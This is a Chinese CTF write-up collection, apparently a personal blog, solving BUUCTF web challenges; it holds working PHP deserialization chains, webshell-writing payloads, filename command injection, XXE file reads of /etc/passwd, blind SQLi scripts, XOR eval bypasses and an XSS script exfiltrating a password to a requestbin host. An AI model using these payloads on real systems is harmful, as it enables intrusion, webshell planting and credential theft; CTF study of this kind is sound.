0%

buu4

[EIS 2019]EzPOP

—easypop没有那么easy

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

对于反序列化的问题,先来看看unserialize()函数位置,其会将get传入的data反序列化,我们的payload也就是通过data传入。

然后分析整个序列化,有两个类,A类和B类。

先看看A类中的方法,cleanContents方法中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}
1
2
3
array_intersect_key()函数使用键名比较计算数组的交集

返回一个数组,该数组包含了所有出现在 第一个参数数组和其它参数数组中同时存在的键名的值。

前面是数组赋值,后面数组遍历并将两个数组的交集赋给$contents[$path]
所以我们$object的键选$cachedProperties中的任意一个即可,这里选path,值是我们的shell的url编码后的base64编码。

再看看B类

getCacheKey方,prefix用于文件名构造

1
2
3
4
5
6
7
    public function getCacheKey(string $name): string
{
return $this->options['prefix'] . $name;
}

$filename = $this->getCacheKey($name);

还有后面写入文件的时候,前面拼接的php代码会导致我们后面拼接的一句话木马无法执行。

为了绕过这里,我们可以将其base64编码再解码,由于base64解码前面那部分会变成乱码,后面的一句话木马就可以执行。

1
2
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

但是这里要注意base64编码的长度问题,需要一句话木马,前面的部分加起来的字节数为4的倍数,这样才不会影响base64解码导致一句话木马失效。关于base64编码解码绕过可以看看,这篇文章

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->key='hack.php';

}
public function start($tmp){
$this->store=$tmp;
}

}

class B{
public $options;
}
$a=new A();
$b=new B();
$b->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$b->options['expire'] = 11;
$b->options['data_compress'] = false;
$b->options['serialize'] = 'strval';
$a->start($b);
$object = array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg");
$path = '123';
$a->cache = array($path=>$object);
$a->complete = '1';
echo urlencode(serialize($a));
?>

生成后传入参数先生成hack.php文件后,再访问hack.php,然后通过执行命令获得flag。

[N1CTF 2018]eating_cms

观察url发现page参数可以利用php伪协议读取文件。

读取一下guest、user,guest里面没什么东西,在user.php中包含function.php文件

我们读取一下function.php这里面有主要函数,还有几个类似flag的参数,访问一下,提示在m4aaannngggeee有东西,再次读取m4aaannngggeee,包含了一个上传的页面,但是这里不是文件上传漏洞的利用,我们再尝试直接访问m4aaannngggeee。这里才是真正的文件上传漏洞位置。

由于在upllloadddd.php源码中存在这句话,我们可以执行任意命令。

1
system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

我们通过上传的文件名来执行任意代码。

成功执行。

已经知道flag不在该目录,我们访问下一级,拿到flag。

最终文件名的payload:

1
;cd ..;cat flag_233333;#

[NPUCTF2020]ezinclude

文件包含的题目

首先进入页面就是帐号密码错误,然后f12发现md5加密secret连接用户名要全等于密码,这个secret要怎么找到,其实我们抓包一下就可以解决很多问题,将响应包里的hash值传入pass参数,即可。

返回有一个flflflflag.php,里面存在通过file传参的文件包含。

通过伪协议读取一下index.php

1
?file=php://filter/read/convert.base64-encode/resource=index.php

解码,发现包含了一个config.php,再读取一下,解码,flag不再里面。

这里没有其他思路了,我们扫一下目录,发现dir.php,再用伪协议读取一下。

得到

1
2
3
<?php
var_dump(scandir('/tmp'));
?>

tmp是临时文件,这里考查PHP临时文件包含漏洞利用,一般分两种

1
2
1、通过利用可以访问的phpinfo页面,对其一次发送大量的数据造成临时文件没有被及时删除,这样我们就可以访问到phpinfo。
2、PHP版本小于7.2,利用PHP崩溃留下的临时文件。

脚本

1
2
3
4
5
6
7
8
9
10
import requests
from io import BytesIO

url=""
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)#禁止重定向
print(r.text)

访问dir.php,得到临时生成的文件名,访问一下可以得到phpinfo

但是这里需要抓包查看phpinfo信息,因为页面还是会跳转到404.

在response里就可以找到flag。

参考https://www.cnblogs.com/linuxsec/articles/11278477.html

以上是预期解,还有一个非预期解,通过session.upload_progress进行session文件包含

参考https://blog.csdn.net/rfrder/article/details/114656092

[GWCTF 2019]mypassword

根据题目,应该是需要得到密码,注册会实现跳转,但是到登录的时候没有响应。

应该跟js代码有关系,这里刚好把js代码放在很明显的位置。看了代码,就是把用户名和密码写入了表单。

登录成功后,我们发现Feedback中有注释提示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}

黑名单过滤,由于前端的login.js具有记录密码的功能,所以我们构造一个表单在feedback页面提交,通过http://http.requestbin.buuoj.cn/接受flag。

POC

1
2
3
4
5
6
7
8
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/18l3qd91/?a="+psw;
</scrcookieipt>

都是使用cookie黑名单进行绕过

本题又拓宽了思路,本题的方法与前面我们学习了dnslog数据外带类似。

[SUCTF 2018]MultiSQL

看题目与堆叠注入有关,支持多语句执行。

通过测试,许多sql关键字都被过滤了,我们使用新方法sql预处理写入一句话木马。

通过char绕过,来构造一句话木马

脚本

1
2
3
4
5
6
7
8
str="select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/favicon/hhh.php';"
len_str=len(str)
for i in range(0,len_str):
if i == 0:
print('char(%s'%ord(str[i]),end="")
else:
print(',%s'%ord(str[i]),end="")
print(')')

然后通过预处理写入一句话木马

最终payload

1
?id=6;set%20@sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,104,97,99,107,46,112,104,112,39,59);prepare%20query%20from%20@sql;execute%20query;

[红明谷CTF 2021]write_shell

题目提示写一个shell

代码审计一下,有一个函数file_put_contents,我们通过data参数可以写入到目录下,我们先通过传入pwd查看目录,再通过data尝试写入一句话木马。

想异或构造一句话木马写入,被过滤了。只好试一下其他的。

考虑使用短标签,也是本题的突破口。

PHP短标签

1
2
3
<?= ?>
相当于
<?php echo ?>

所以我们可以通过短标签输出我们想要的结果。

同时,php中反引号可以将反引号的内容当作shell命令执行。

payload:

1
<?=`whoami`?>

执行成功

然后通过命令ls查看文件,这里试了很多个,只有%09绕过空格。

有时候多试试,就成功了。

最终payload:

1
?action=upload&data=<?=`cat%09/flllllll1112222222lag`?>

本题的知识点前面有遇到过,需要多温故。再绕过空格的时候需要多一些耐心,也要先POC一下,再构造其他payload。

[GoogleCTF2019 Quals]Bnv

一开始就是一段盲文,也看不出题目有什么提示。

我们抓包看一下,会通过json数据提交我们选择的信息。

猜测存在XXE漏洞。

我们先将Content-Type修改成application/xml

返回的是

1
Start tag expected, '<' not found, line 1, column 1

少了标签不符合xml的格式。

想直接利用最简单的xxe注入,但是被限制了,返回root和DTD没有匹配到我们任意构造的DTD。

那一步步来构造把。

先构造

1
2
3
<?xml version="1.0"?>
<message>135601360123502401401250
</message>

返回了没有找到DTD文件,我们试着添加一个实体。

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE message
[
<!ENTITY hhh "135601360123502401401250">
]>
<message>&hhh;
</message>

报错没有元素的声明,我们需要在DTD中声明我们已经定义的元素,通过使用数据,指定名为message的元素来实现,定义类型设置数据为PC数据。

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE message
[
<!ELEMENT message (#PCDATA)>
<!ENTITY hhh "135601360123502401401250">
]>
<message>&hhh;
</message>

成功正确返回我们提交的信息了,现在需要构造读flag。

我们试着添加一个外部实体来发出出口请求。

这里有一个不错的平台

https://beeceptor.com/

提供一个子域,可以保存向该网站发出的所有请求的日志。

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<!DOCTYPE message
[
<!ELEMENT message (#PCDATA)>
<!ENTITY hhh "135601360123502401401250">
<!ENTITY % dtd SYSTEM "https://beeceptor.com/console/abcdef">
%dtd;
]>
<message>&hhh;
</message>

返回无法加载。

试着加载文件,返回可以加载文件,但不符合xml格式。

枚举出flag的位置,然后读取flag,不允许我们使用外部实体来读取,我们需要需要内部DTD。

XXE注入内部DTD的使用

这里是linux系统,使用模板

1
2
3
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa 'Your DTD code'>
%local_dtd;

然后通过错误的利用和带外的利用,模板:

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<message></message>

我们通过报错,成功解析了参数实体,%file;也就可以成功读取flag。

最终payload:

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE message[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///hhh/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

[GXYCTF2019]BabysqliV3.0

登录页面,注了半天,结果是弱口令

里面是一个文件上传,上传后文件后缀名会被自动修改成txt,应该是没办法写入一句话木马上传。

这里有个file参数,我们想任意读取一下文件,但是后面会拼接字符串,那我们试一下php伪协议读取upload。

成功读取,解码得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

?>

怎么sql的题目变成反序列化了,这题目毫不相干!!!

仔细审计一下代码,有两个突破口,eval和file_get_contents

但是发现可以通过函数file_get_contents直接读取上传的文件内容,由于name的参数值可控,所以我们只要上传为藏有flag的文件名即可,这里就需要我们枚举一下,试过读取flag.php 就会返回flag.php,尝试一下,成功返回flag.php内容。

下面我们试一下使用函数eval来读取flag.php

想执行eval有个条件限制,要求$this->token != $_SESSION['user']

其实前面做题就注意到了上传后的文件名前面一部分没变化

我们就可以得到$_SESSION['user']的值:

GXYe4b1116bd1774dcfc943ca7d4039593e

需要利用到phar反序列化,在_toString方法中看到,返回值是filename,也是我们可控的name值,最后在让file_get_contents读取flag.php内容,可以开始构造phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class Uploader
{
public $Filename;
public $cmd;
public $token;
}

$o=new Uploader();
$o->cmd='highlight_file("/var/www/html/flag.php)';
$o->Filename='test';
$o->token='GXYe4b1116bd1774dcfc943ca7d4039593e';
echo serialize($o);

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

在本地生成后,上传phar后,name参数赋值,这样$this->filename被我们指定为phar,phar://+上传phar文件的地址,再任意上传一个文件,触发phar反序列化,得到flag。

payload

1
?file=upload&name=phar:///var/www/html/uploads/52aa4224a0b7d9543d9b00bd0320dd2b/GXYe73a4626f60f8f934fd9892170c85a37.txt

[RoarCTF 2019]Online Proxy

本题考查XFF的sql盲注,二次注入。

我们得到一次数据,需要构造三个payload,才能执行我们第一次注入的payload语句,这也就是二次注入。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# coding:utf-8
import requests
import time
url = 'http://node4.buuoj.cn:26233/'

res = ''
for i in range(1,200):
print(i)
left = 31
right = 127
mid = left + ((right - left)>>1)#这里的右移动一位相当于除以2,速度会更快
while left < right:
#payload = "0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{}) or '0".format(i,mid)
#payload = "0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'F4l9_D4t4B45e'),{},1))>{}) or '0".format(i,mid)
#payload = "0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e'),{},1))>{}) or '0".format(i,mid)
payload = "0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(i,mid)
headers = {
'Cookie': 'track_uuid=492bf5ce-c5bb-482b-b1ab-ca34206af782',
'X-Forwarded-For': payload
}
r = requests.post(url = url, headers = headers)

payload = '111'
headers = {
'Cookie': 'track_uuid=492bf5ce-c5bb-482b-b1ab-ca34206af782',
'X-Forwarded-For': payload
}
r = requests.post(url = url, headers = headers)

payload = '111'
headers = {
'Cookie': 'track_uuid=492bf5ce-c5bb-482b-b1ab-ca34206af782',
'X-Forwarded-For': payload
}
r = requests.post(url = url, headers = headers)


if r.status_code == 429:
time.sleep(2)
if 'Last Ip: 1' in r.text:
left = mid + 1
elif 'Last Ip: 1' not in r.text:
right = mid
mid = left + ((right-left)>>1)
if mid == 31 or mid == 127:
break
res += chr(mid)
print(str(mid),res)
time.sleep(1)

[GYCTF2020]Easyphp

fuzz测试,www.zip泄漏,拿到源码。

好好审计一下源码,在update.php中发现我们需要使得$_SESSION[‘login’]===1,在lib.php中看出,也就是让token值等于admin,才可以得到flag。

发现目标,我们就需要找到突破口,好好审计lib.php

审计一下dbCtrl类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser = "root";
public $dbpass = "root";
public $database = "test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name = $_POST['username'];
$this->password = $_POST['password'];
$this->token = $_SESSION['token'];
}
public function login($sql)
{
$this->mysqli = new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result = $this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();

//通过反序列化控制token为admin即可绕过登录
if ($this->token == 'admin') {
return $idResult;
}
if (!$idResult) {
echo ('用户不存在!');
return false;
}
if (md5($this->password) !== $passwordResult) {
echo ('密码错误!');
return false;
}
$_SESSION['token'] = $this->name;
return $idResult;
}
}

我们知道登录成功的条件是:

1
2
3
用户名存在,并且满足md5($this->password) == $passwordResult
或者
token的值是admin

代码中的查询语句为

1
select id,password from user where username=?

但是sql语句是我们可控的,我们可以控制参数

1
select 1,'md5(1)的值' from user where username=?

然后再使

1
$this->password=1

即可绕过登录验证。

接下来就需要构造pop链了。

1
由于UpdateHelper::destruct方法中有echo,所以我们只需将$sql实例化为User类的对象,这样就可以触发User::toString方法
1
2
3
4
5
6
7
8
9
10
11
12
13
class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
1
再看User::__toString方法,用$nickname变量调用了update()函数,并且$age为参数,所以我们只需将$nickname实例化为info类对象,从而调用了info::__call方法,并且$age中的值会作为参数传入。
1
2
3
4
5
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
1
跟进Info:__call方法,其中的$CtrlCase调用了login方法,传入login方法的参数就是上一步通过User.age的值传入的,然后我们再将$CtrlCase变量实例化为dbCtrl类对象,这样就调用了dbCtrl::login($sql)完成我们的最终目的。
1
2
3
4
5
6
7
8
9
10
11
12
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}

最后的pop链构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class User{
public $age=null;
public $nickname=null;
public function __construct(){
$this->age='select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname=new info();
}
}
class Info{
public $CtrlCase;
public function __construct(){
$this->CtrlCase=new dbCtrl();
}
}
class UpdateHelper{
public $sql;
public function __construct(){
$this->sql=new User();
}
}
class dbCtrl{
public $name="admin";
public $password="1";
}
$o=new UpdateHelper;
echo serialize($o);

输出

1
O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

但是我们还需要找到传入序列化的参数,可以实现反序列化。

通过函数相关找到传入的参数age或nickname参数传入,会被当成Info类里一个很长的字符串,利用字符串逃逸,成功反序列化我们想要传入的内容。在update.php,post提交payload。

最终payload:

1
2
age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

传入后,成功将token设置为admin,再回到登录页面即可登录。

参考:https://blog.csdn.net/qq_42181428/article/details/104474414?fps=1&locationNum=2#t2

[RoarCTF 2019]Simple Upload

这是Think PHP文件上传,需要我们自己构造一个上传文件的代码

1
2
默认路径
/home/index/upload

Think PHP多文件上传

1
在Think PHP里的upload函数在不传参的情况下是批量上传的,利用条件竞争,我们可以绕过文件后缀名的检测,为了获得php后缀,我们需要上传两个其他的文件,因为后缀的命令方式采用了函数uniqid,它是基于微秒的当前时间来更改文件名,同时上传的两个文件名相差不大,这样我们就可以利用将一句话木马上传的文件放在两者之间,进行文件名的爆破猜解。

python脚本上传:

1
2
3
4
5
6
7
8
9
10
11
import requests
url="http://8e1f6443-27ad-4385-9440-cf5e93d3dd1d.node4.buuoj.cn/index.php/Home/Index/upload"
file1={'file':open('/xxx/1.txt','r')}
file2={'file[]':open('/xxx/test.php','r')}#upload不传参数使用[]

r=requests.post(url=url,files=file1)
print(r.text)
r=requests.post(url=url,files=file2)
print(r.text)
r=requests.post(url=url,files=file1)
print(r.text)

返回

1
2
3
{"url":"\/Public\/Uploads\/2021-07-12\/60ec3881cd3dd.txt","success":1}
{"url":"\/Public\/Uploads\/","success":1}
{"url":"\/Public\/Uploads\/2021-07-12\/60ec388219d03.txt","success":1}

观察一下只有后面六位数不同,我们可以进行爆破。

使用burp进行爆破即可。

[ISITDTU 2019]EasyPHP

又是easyphp,直接给了源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

很清楚,有个eval函数,我们要构造payload绕过正则匹配还有看似长度限制执行我们的想要的命令。

先分析这两个是什么限制,第一个,正则绕过,可以通过这个网站帮你分析。

1
2
3
\x00- 0-9                       匹配\x00到空格(\x20)和0-9的数字
'"`$&.,|[{_defgops 匹配到这些字符
\x7F 匹配到DEL(\x7F)字符
1
下面那个看似长度限制,其实是限制使用不同的字母,不能超过0xd,就是最多只能使用13种的字符。

我们先试一下取反绕过,成功返回php信息。

1
(~%8F%97%8F%96%91%99%90)();

php版本是7.3.5,再看看禁用的函数disable_functions,直接把我们常用的system和exec给禁用了,还有其他命令执行都给ban了,导致无法进行任意命令执行。open_basedir也被限制在了/var/www/html。但是我们可以使用scandir函数返回目录,由于返回的是数组,需要配合print_r使用或者var_dump函数,这里再补充一个可以返回目录的函数 glob函数。

由于取反绕过无法通过第二个限制,我们后面将使用异或绕过,毕竟它的变化更多。可以用更多的替换。

复习一下正则匹配绕过的姿势

目标构造

1
print_r(scandir('.'));
1
((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

超过了字符限制,我们缩减字符,脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c]  # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

缩减后还剩,11种,还是不够。还能继续删除。

payload:

1
((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

返回目录后,我们要读取文件内容,可以使用show_source或者readfile,同时我们想要获得的文件在最后面,我们可以使用函数end获取文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
result2 = [160, 136, 138, 140, 141, 144, 145, 209, 150, 151, 154, 155, 156, 158]  # Original chars,14 total
result = [160, 136, 141, 209, 151, 154, 155, 156]
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if (a == b == c == d) or (a==b) or (b==c) or (c==d) or(a==c):
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)

最终payload:

1
show_source(end(scandir(.)));
1
((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

[b01lers2020]Life on Mars

先大致浏览一下前端,看看有没有什么提示,好像没有,一般不要一上来就扫目录,效率太低,然后我们抓包看一下,分别点这几个会发送什么给服务器。

抓了几个看看就发现可以存在传参。

通过search传参,有个query查询数据,感觉有点像sql注入,我们先试一下。

开始尝试sql注入,多尝试就知道注入点在哪里了。

成功判断字段数

1
query?search=utopia_basin order by 2

注意前面的utopia_basin,不然只会返回1。

数字型注入,爆出数据库。

1
query?search=utopia_basin union select 1,2

这题最坑的就是flag在另一个数据库里面,我们需要使用sqlmap爆出另外一个数据库alien_code

然后再不断爆信息,最终payload:

1
query?search=utopia_basin union select 1,group_concat(code)from alien_code.code

后面指定的是alien_code数据库中的表code。

[GYCTF2020]Ez_Express

发现存在源码泄露,www.zip,下载下来审计一下。

这里也不知道利用什么,看一下wp。

考察原型链污染,之前还都没听说过,还是有很多需要学习。

原型链的特性:

在调用某一对象的属性时:

1
2
3
1.对象(obj)中寻找这一属性
2.如果找不到,则在obj.__proto__中寻找属性
3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性

这样的机制被称为js的prototype继承链,与原型链污染密切相关。

原型链污染

1
如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

往往看见merge和clone函数就可以往原型链污染思考,跟进函数,寻找污染点。

来自某师傅的总结

1
2
3
4
总结下:
